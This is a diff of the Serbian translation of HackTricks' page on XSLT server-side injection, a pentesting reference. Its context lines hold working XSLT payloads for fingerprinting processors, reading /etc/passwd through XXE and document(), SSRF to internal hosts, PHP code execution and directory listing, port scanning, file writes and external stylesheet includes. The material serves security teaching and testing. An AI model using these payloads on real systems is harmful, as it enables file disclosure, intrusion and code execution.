# XSLT Server Side Injection (Ekstenzibilni jezik transformacija stilova)
|
||||
# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic Information
|
||||
|
||||
XSLT je tehnologija koja se koristi za transformaciju XML dokumenata u različite formate. Dolazi u tri verzije: 1, 2 i 3, pri čemu je verzija 1 najčešće korišćena. Proces transformacije može se izvršiti na serveru ili u pregledaču.
|
||||
XSLT je tehnologija koja se koristi za transformaciju XML dokumenata u različite formate. Dolazi u tri verzije: 1, 2 i 3, pri čemu je verzija 1 najčešće korišćena. Proces transformacije može se izvršiti ili na serveru ili unutar pregledača.
|
||||
|
||||
Najčešće korišćeni okviri uključuju:
|
||||
Okviri koji se najčešće koriste uključuju:
|
||||
|
||||
- **Libxslt** od Gnome-a,
|
||||
- **Xalan** od Apache-a,
|
||||
- **Saxon** od Saxonica-e.
|
||||
- **Libxslt** iz Gnome-a,
|
||||
- **Xalan** iz Apache-a,
|
||||
- **Saxon** iz Saxonica.
|
||||
|
||||
Za iskorišćavanje ranjivosti povezanih sa XSLT, neophodno je da se xsl oznake čuvaju na serverskoj strani, a zatim pristupiti tom sadržaju. Primer takve ranjivosti dokumentovan je u sledećem izvoru: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||||
Za eksploataciju ranjivosti povezanih sa XSLT-om, neophodno je da xsl tagovi budu smešteni na serveru, nakon čega se pristupa tom sadržaju. Ilustracija takve ranjivosti dokumentovana je u sledećem izvoru: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||||
|
||||
## Primer - Tutorijal
|
||||
## Example - Tutorial
|
||||
```bash
|
||||
sudo apt-get install default-jdk
|
||||
sudo apt-get install libsaxonb-java libsaxon-java
|
||||
|
@ -42,6 +45,8 @@ sudo apt-get install libsaxonb-java libsaxon-java
|
|||
</cd>
|
||||
</catalog>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="xsl.xsl" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -89,7 +94,7 @@ Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Otisak prsta
|
||||
### Otisak
|
||||
|
||||
{% code title="detection.xsl" %}
|
||||
```xml
|
||||
|
@ -121,7 +126,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
I izvršite
|
||||
I izvrši
|
||||
```xml
|
||||
$saxonb-xslt -xsl:detection.xsl xml.xml
|
||||
|
||||
|
@ -129,7 +134,7 @@ Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
|
|||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||||
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
|
||||
```
|
||||
### Čitanje lokalne datoteke
|
||||
### Čitaj lokalnu datoteku
|
||||
|
||||
{% code title="read.xsl" %}
|
||||
```xml
|
||||
|
@ -155,25 +160,6 @@ man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
|||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
```
|
||||
### SSRF
|
||||
|
||||
Server-Side Request Forgery (SSRF) (Форжиранje zahteva sa servera) je bezbednosna ranjivost koja omogućava napadaču da izvrši zahteve sa servera na druge interne ili eksterne resurse. Ova ranjivost se često koristi za izvršavanje napada kao što su skeniranje mreže, pristup internim servisima ili čak izvršavanje napada na druge sisteme.
|
||||
|
||||
SSRF se obično javlja kada aplikacija koristi korisnički unos za formiranje URL-a za zahtev. Napadač može da manipuliše ovim unosom kako bi izvršio zahteve na resurse koji nisu namenjeni javnom pristupu. Na primer, napadač može da izvrši zahtev na interni server ili čak na druge veb aplikacije koje su dostupne na internetu.
|
||||
|
||||
Da bi iskoristio SSRF ranjivost, napadač može da koristi različite tehnike, kao što su:
|
||||
|
||||
- Korišćenje URL-ova sa lokalnim IP adresama ili privatnim mrežnim adresama.
|
||||
- Korišćenje URL-ova sa loopback adresom (127.0.0.1) kako bi pristupio lokalnim servisima na serveru.
|
||||
- Korišćenje URL-ova sa specijalnim oznakama ili protokolima koji omogućavaju pristup drugim resursima, kao što su file:// ili gopher://.
|
||||
|
||||
Da bi se zaštitili od SSRF ranjivosti, preporučuje se sledeće:
|
||||
|
||||
- Validacija korisničkog unosa kako bi se sprečilo korišćenje nevažećih URL-ova.
|
||||
- Ograničavanje pristupa servera na samo one resurse koji su neophodni za rad aplikacije.
|
||||
- Korišćenje belih lista (whitelisting) umesto crnih lista (blacklisting) prilikom konfigurisanja dozvoljenih URL-ova.
|
||||
- Redovno ažuriranje softvera i primena sigurnosnih zakrpa kako bi se sprečile poznate ranjivosti koje mogu biti iskorišćene za SSRF napade.
|
||||
|
||||
Ukratko, SSRF je ozbiljna ranjivost koja može omogućiti napadaču da izvrši zahteve sa servera na druge resurse. Implementacija odgovarajućih sigurnosnih mera može pomoći u sprečavanju ovog tipa napada.
|
||||
```xml
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||||
<xsl:include href="http://127.0.0.1:8000/xslt"/>
|
||||
|
@ -183,15 +169,15 @@ Ukratko, SSRF je ozbiljna ranjivost koja može omogućiti napadaču da izvrši z
|
|||
```
|
||||
### Verzije
|
||||
|
||||
Može biti više ili manje funkcija u zavisnosti od verzije XSLT-a koja se koristi:
|
||||
Mogu postojati više ili manje funkcija u zavisnosti od korišćene XSLT verzije:
|
||||
|
||||
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
|
||||
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
|
||||
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
|
||||
|
||||
## Fingerprint
|
||||
## Otisak
|
||||
|
||||
Otpremi ovo i preuzmi informacije
|
||||
Otpremite ovo i uzmite informacije
|
||||
```xml
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
|
@ -220,44 +206,11 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
## SSRF
|
||||
|
||||
Server-Side Request Forgery (SSRF) je sigurnosna ranjivost koja omogućava napadaču da izvrši zahtev sa servera prema drugim resursima na mreži. Ova ranjivost se često koristi za izvršavanje napada kao što su povratni kanal zaobilaženja sigurnosnih ograničenja, skeniranje unutrašnje mreže, pristup internim servisima i izvršavanje napada na drugim sistemima.
|
||||
|
||||
SSRF se često iskorišćava kroz unos korisničkih podataka koji se prosleđuju serveru, kao što su URL-ovi ili IP adrese. Napadač može manipulisati ovim unosima kako bi izazvao server da izvrši zahtev prema ciljanim resursima. Ovo može uključivati pristup internim servisima, kao što su baze podataka ili administrativni paneli, ili čak eksternim resursima na internetu.
|
||||
|
||||
Da bi se iskoristila SSRF ranjivost, napadač mora pronaći način da server izvrši zahtev prema ciljanim resursima. To se može postići korišćenjem različitih tehnika, kao što su URL redirekcija, DNS rekurzija, lokalni IP adrese, mrežni interfejsi i drugi.
|
||||
|
||||
Da bi se zaštitili od SSRF ranjivosti, preporučuje se validacija i filtriranje korisničkih unosa koji se prosleđuju serveru. Takođe je važno ograničiti pristup servera ka internim resursima i koristiti sigurnosne mehanizme kao što su bela lista URL-ova ili sandbox okruženja za izvršavanje zahteva.
|
||||
```xml
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
|
||||
</esi:include>
|
||||
```
|
||||
## Ubacivanje Javascript koda
|
||||
|
||||
Ubacivanje Javascript koda je tehnika koja se koristi za izvršavanje zlonamernog koda na ciljnom serveru. Ova tehnika se često koristi u napadima na veb aplikacije kako bi se iskoristile ranjivosti i omogućilo izvršavanje neovlašćenih operacija.
|
||||
|
||||
### Kako funkcioniše?
|
||||
|
||||
Kada se izvršava Javascript kod na veb stranici, on ima pristup svim podacima i funkcionalnostima koje su dostupne na toj stranici. To znači da, ako je veb aplikacija ranjiva na Javascript ubacivanje, napadač može da ubaci zlonamerni Javascript kod koji će se izvršiti na strani servera.
|
||||
|
||||
Da bi se izvršio Javascript kod na serveru, napadač mora da pronađe ranjivost koja omogućava ubacivanje koda. Jedna od uobičajenih ranjivosti je nedovoljna validacija korisničkog unosa, što omogućava napadaču da ubaci zlonamerni kod putem formulara ili URL parametara.
|
||||
|
||||
### Posledice
|
||||
|
||||
Ubacivanje Javascript koda može imati ozbiljne posledice po bezbednost veb aplikacije i korisnika. Napadač može da izvrši različite vrste napada, kao što su krađa podataka, preusmeravanje korisnika na zlonamerne stranice, ili čak preuzimanje kontrole nad serverom.
|
||||
|
||||
Da bi se zaštitili od ovakvih napada, veb aplikacije treba da primenjuju odgovarajuće sigurnosne mere, kao što su validacija korisničkog unosa, enkripcija podataka i ograničavanje privilegija izvršavanja Javascript koda.
|
||||
|
||||
### Prevencija
|
||||
|
||||
Da bi se sprečilo ubacivanje Javascript koda, veb aplikacije treba da primenjuju sledeće sigurnosne mere:
|
||||
|
||||
- Pažljivo validirati i filtrirati korisnički unos kako bi se sprečilo ubacivanje zlonamernog koda.
|
||||
- Koristiti sigurne metode za izvršavanje Javascript koda, kao što su Content Security Policy (CSP) i sandbox okruženja.
|
||||
- Redovno ažurirati veb aplikaciju i sve biblioteke kako bi se ispravile poznate ranjivosti.
|
||||
- Edukovati razvojni tim o sigurnosnim praksama i ranjivostima koje mogu dovesti do ubacivanja Javascript koda.
|
||||
|
||||
Pravilna primena ovih mera može značajno smanjiti rizik od ubacivanja Javascript koda i zaštititi veb aplikaciju od napada.
|
||||
## Javascript Injekcija
|
||||
```xml
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="/">
|
||||
|
@ -265,7 +218,7 @@ Pravilna primena ovih mera može značajno smanjiti rizik od ubacivanja Javascri
|
|||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
## Prikazivanje direktorijuma (PHP)
|
||||
## Directory listing (PHP)
|
||||
|
||||
### **Opendir + readdir**
|
||||
```xml
|
||||
|
@ -285,14 +238,6 @@ Pravilna primena ovih mera može značajno smanjiti rizik od ubacivanja Javascri
|
|||
</xsl:template></xsl:stylesheet>
|
||||
```
|
||||
### **Assert (var\_dump + scandir + false)**
|
||||
|
||||
### **Assert (var\_dump + scandir + false)**
|
||||
|
||||
Ova tehnika se koristi za izvršavanje server-side injekcije XSLT-a (Extensible Stylesheet Language Transformations) kroz kombinaciju funkcija `var_dump` i `scandir`. Ova tehnika je korisna kada je ciljani server konfigurisan tako da izvršava XSLT transformacije.
|
||||
|
||||
Da biste iskoristili ovu tehniku, prvo koristite funkciju `var_dump` kako biste prikazali sadržaj direktorijuma na ciljanom serveru. Zatim, koristite funkciju `scandir` kako biste dobili listu datoteka i direktorijuma u tom direktorijumu. Konačno, koristite `false` kao argument za `assert` funkciju kako biste izvršili server-side injekciju.
|
||||
|
||||
Ova tehnika može biti korisna za dobijanje informacija o serveru, kao i za izvršavanje dodatnih napada na ciljani sistem. Važno je napomenuti da je ova tehnika specifična za servere koji podržavaju XSLT transformacije i da može biti ranjiva samo u određenim konfiguracijama.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||||
|
@ -313,25 +258,6 @@ Ova tehnika može biti korisna za dobijanje informacija o serveru, kao i za izvr
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
### **Interno - XXE**
|
||||
|
||||
XXE (Eksterni XML eksploatacioni napad) je vrsta napada koji se koristi za iskorišćavanje slabosti u obradi XML dokumenata. Ovaj napad omogućava napadaču da izvrši proizvoljan kod na serveru ili da izvrši druge zlonamerne radnje.
|
||||
|
||||
#### **Kako funkcioniše XXE napad?**
|
||||
|
||||
XXE napad se obično izvodi ubacivanjem zlonamernog XML sadržaja u aplikaciju koja obrađuje XML dokumente. Kada aplikacija pokuša da parsira XML dokument, ona može da izvrši eksterni HTTP zahtev ili da pristupi lokalnom fajlu na serveru. Ovo omogućava napadaču da izvrši proizvoljan kod ili da pristupi osetljivim informacijama.
|
||||
|
||||
#### **Kako sprečiti XXE napade?**
|
||||
|
||||
Da biste sprečili XXE napade, preporučuje se sledeće:
|
||||
|
||||
- Validirajte i filtrirajte ulazne XML dokumente kako biste uklonili ili neutralisali potencijalno zlonamerne sadržaje.
|
||||
- Isključite eksterne entitete i DTD (Document Type Definition) obradu u XML parseru.
|
||||
- Koristite bezbedne XML parsere koji automatski isključuju eksterne entitete i DTD obradu.
|
||||
- Ažurirajte XML parsere na najnovije verzije koje ispravljaju poznate sigurnosne propuste.
|
||||
|
||||
#### **Zaključak**
|
||||
|
||||
XXE napadi predstavljaju ozbiljnu pretnju za aplikacije koje obrađuju XML dokumente. Implementacija odgovarajućih sigurnosnih mera, kao što je validacija i filtriranje ulaznih XML dokumenata, može pomoći u sprečavanju ovih napada.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
|
||||
|
@ -341,17 +267,7 @@ XXE napadi predstavljaju ozbiljnu pretnju za aplikacije koje obrađuju XML dokum
|
|||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
### **Preko HTTP-a**
|
||||
|
||||
XSLT Server-Side Injection (SSI) je tehnika koja se koristi za izvršavanje proizvoljnog koda na serveru putem XML ekstenzibilnog jezičkog transformacijskog obrasca (XSLT). Ova tehnika se može iskoristiti kada aplikacija prihvaća korisnički unos u XML formatu i koristi ga za generisanje XSLT transformacijskog obrasca.
|
||||
|
||||
Da biste izvršili XSLT SSI napad, prvo morate identifikovati mjesto gdje se korisnički unos ubacuje u XSLT transformacijski obrazac. Zatim, umjesto očekivanog XML sadržaja, ubacite XSLT kod koji će biti izvršen na serveru.
|
||||
|
||||
Jedan od načina za izvršavanje XSLT SSI napada je slanje HTTP zahtjeva sa specijalno oblikovanim XML tijelom koje sadrži XSLT kod. Kada server obradi zahtjev, XSLT transformacijski obrazac će biti generisan sa vašim ubačenim kodom i izvršen na serveru.
|
||||
|
||||
Ova tehnika može biti vrlo opasna, jer omogućava napadaču da izvršava proizvoljan kod na serveru, što može dovesti do kompromitovanja sistema, krađe podataka ili daljnjih napada na druge korisnike.
|
||||
|
||||
Da biste se zaštitili od XSLT SSI napada, preporučuje se sanitizacija korisničkog unosa i validacija XML sadržaja prije generisanja XSLT transformacijskog obrasca. Takođe, treba koristiti najnovije verzije softvera i pratiti sigurnosne zakrpe kako bi se smanjio rizik od ovog napada.
|
||||
### **Kroz HTTP**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
|
@ -368,7 +284,7 @@ Da biste se zaštitili od XSLT SSI napada, preporučuje se sanitizacija korisni
|
|||
&passwd;
|
||||
</xsl:template>
|
||||
```
|
||||
### **Interno (PHP-funkcija)**
|
||||
### **Interni (PHP-funkcija)**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||||
|
@ -387,15 +303,7 @@ Da biste se zaštitili od XSLT SSI napada, preporučuje se sanitizacija korisni
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Skeniranje portova
|
||||
|
||||
Port skeniranje je proces koji se koristi za identifikaciju otvorenih portova na ciljnom računaru ili mreži. Ova tehnika omogućava hakerima da otkriju koje usluge ili aplikacije su dostupne na određenim portovima. Kada se otkrije otvoren port, haker može iskoristiti ranjivosti tih usluga ili aplikacija kako bi izvršio napad.
|
||||
|
||||
Postoje različiti alati i tehnike koje se mogu koristiti za skeniranje portova. Neki od najčešće korišćenih alata su Nmap, Masscan i Zmap. Ovi alati omogućavaju hakerima da skeniraju veliki broj portova u kratkom vremenskom periodu.
|
||||
|
||||
Port skeniranje može biti pasivno ili aktivno. Pasivno skeniranje se odnosi na praćenje mrežnog saobraćaja kako bi se identifikovali otvoreni portovi. Aktivno skeniranje, s druge strane, uključuje slanje posebnih paketa na ciljne portove kako bi se proverilo da li su otvoreni ili zatvoreni.
|
||||
|
||||
Važno je napomenuti da je port skeniranje ilegalno bez dozvole vlasnika sistema ili mreže. Ova tehnika se često koristi u etičkom hakovanju ili pentestiranju kako bi se identifikovali bezbednosni propusti i ranjivosti.
|
||||
### Skener portova
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||||
|
@ -404,39 +312,9 @@ Važno je napomenuti da je port skeniranje ilegalno bez dozvole vlasnika sistema
|
|||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
## Pisanje u datoteku
|
||||
## Write to a file
|
||||
|
||||
### XSLT 2.0
|
||||
|
||||
XSLT 2.0 podržava pisanje u datoteku pomoću `xsl:result-document` elementa. Ovaj element omogućava generisanje izlaznih datoteka tokom izvršavanja transformacije.
|
||||
|
||||
Da biste napisali sadržaj u datoteku, prvo morate definisati putanju do ciljne datoteke koristeći `href` atribut `xsl:result-document` elementa. Na primer:
|
||||
|
||||
```xml
|
||||
<xsl:result-document href="putanja/do/datoteke.txt">
|
||||
<!-- Sadržaj koji želite da napišete u datoteku -->
|
||||
</xsl:result-document>
|
||||
```
|
||||
|
||||
Nakon definisanja putanje do datoteke, možete unutar `xsl:result-document` elementa koristiti bilo koji XSLT izraz za generisanje sadržaja datoteke.
|
||||
|
||||
Na primer, možete koristiti `xsl:value-of` element za upisivanje vrednosti u datoteku:
|
||||
|
||||
```xml
|
||||
<xsl:result-document href="putanja/do/datoteke.txt">
|
||||
<xsl:value-of select="'Ovo je tekst koji će biti upisan u datoteku.'" />
|
||||
</xsl:result-document>
|
||||
```
|
||||
|
||||
Takođe možete koristiti `xsl:copy-of` element za kopiranje sadržaja izvornog XML dokumenta u ciljnu datoteku:
|
||||
|
||||
```xml
|
||||
<xsl:result-document href="putanja/do/datoteke.txt">
|
||||
<xsl:copy-of select="." />
|
||||
</xsl:result-document>
|
||||
```
|
||||
|
||||
Napomena: Da biste koristili `xsl:result-document` element, vaš XSLT procesor mora podržavati XSLT 2.0 standard.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||||
|
@ -448,14 +326,6 @@ Napomena: Da biste koristili `xsl:result-document` element, vaš XSLT procesor m
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
### **Xalan-J ekstenzija**
|
||||
|
||||
Xalan-J je implementacija XSLT (Extensible Stylesheet Language Transformations) procesora napisana u programskom jeziku Java. Ova ekstenzija omogućava izvršavanje XSLT transformacija na serveru. Xalan-J ekstenzija može biti iskorišćena za izvršavanje server-side injekcije putem XSLT fajlova.
|
||||
|
||||
Da biste iskoristili ovu ranjivost, potrebno je pronaći mesto gde se XSLT fajl koristi za transformaciju XML podataka. Zatim, možete ubaciti zlonamerni kod u XSLT fajl kako biste izvršili proizvoljan kod na serveru.
|
||||
|
||||
Napadač može iskoristiti Xalan-J ekstenziju za izvršavanje različitih napada, kao što su čitanje i pisanje fajlova na serveru, izvršavanje sistemskih komandi, preuzimanje osetljivih podataka i još mnogo toga.
|
||||
|
||||
Važno je napomenuti da je ova ranjivost specifična za Xalan-J implementaciju XSLT procesora i ne odnosi se na sve XSLT procesore.
|
||||
```xml
|
||||
<xsl:template match="/">
|
||||
<redirect:open file="local_file.txt"/>
|
||||
|
@ -463,15 +333,9 @@ Važno je napomenuti da je ova ranjivost specifična za Xalan-J implementaciju X
|
|||
<redirect:close file="loxal_file.txt"/>
|
||||
</xsl:template>
|
||||
```
|
||||
## Uključivanje spoljnih XSL fajlova
|
||||
Drugi načini za pisanje datoteka u PDF-u
|
||||
|
||||
Kada koristite XSLT server-side injection, možete uključiti spoljne XSL fajlove kako biste pisali fajlove u PDF formatu. Ovo vam omogućava da iskoristite funkcionalnosti eksternih XSL fajlova za manipulaciju PDF datotekama.
|
||||
|
||||
Da biste to postigli, možete koristiti `document()` funkciju u XSLT kodu kako biste učitali spoljni XSL fajl. Zatim možete koristiti XSLT transformacije da biste generisali PDF datoteku sa željenim sadržajem.
|
||||
|
||||
Na primer, možete uključiti spoljni XSL fajl koji sadrži XSLT transformacije za generisanje PDF datoteke. Zatim možete koristiti ove transformacije da biste generisali PDF datoteku sa željenim sadržajem, kao što su tekst, slike ili tabele.
|
||||
|
||||
Važno je napomenuti da prilikom korišćenja ove tehnike treba biti oprezan da se ne dozvoli neovlašćen pristup ili manipulacija sa sistemom. Takođe, treba proveriti da li je platforma koju koristite podržava ovu funkcionalnost i da li postoje odgovarajuće bezbednosne mere zaštite.
|
||||
## Uključite spoljašnji XSL
|
||||
```xml
|
||||
<xsl:include href="http://extenal.web/external.xsl"/>
|
||||
```
|
||||
|
@ -480,7 +344,7 @@ Važno je napomenuti da prilikom korišćenja ove tehnike treba biti oprezan da
|
|||
<?xml version="1.0" ?>
|
||||
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
|
||||
```
|
||||
## Izvršavanje koda
|
||||
## Izvrši kod
|
||||
|
||||
### **php:function**
|
||||
```xml
|
||||
|
@ -507,11 +371,11 @@ Izvršite kod koristeći druge okvire u PDF-u
|
|||
|
||||
### **Više jezika**
|
||||
|
||||
**Na ovoj stranici možete pronaći primjere RCE-a u drugim jezicima:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
|
||||
**Na ovoj stranici možete pronaći primere RCE u drugim jezicima:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
|
||||
|
||||
## **Pristup PHP statičkim funkcijama iz klasa**
|
||||
|
||||
Sljedeća funkcija će pozvati statičku metodu `stringToUrl` klase XSL:
|
||||
Sledeća funkcija će pozvati statičku metodu `stringToUrl` klase XSL:
|
||||
```xml
|
||||
<!--- More complex test to call php class function-->
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
|
||||
|
@ -528,11 +392,11 @@ version="1.0">
|
|||
```
|
||||
(Primer sa [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
|
||||
|
||||
## Više Payloadova
|
||||
## Više Payload-a
|
||||
* Proverite [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
* Proverite [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||||
|
||||
## **Lista za otkrivanje Brute-Force napada**
|
||||
## **Lista za Detekciju Brute-Force-a**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||||
|
||||
|
@ -542,14 +406,17 @@ version="1.0">
|
|||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
|
||||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
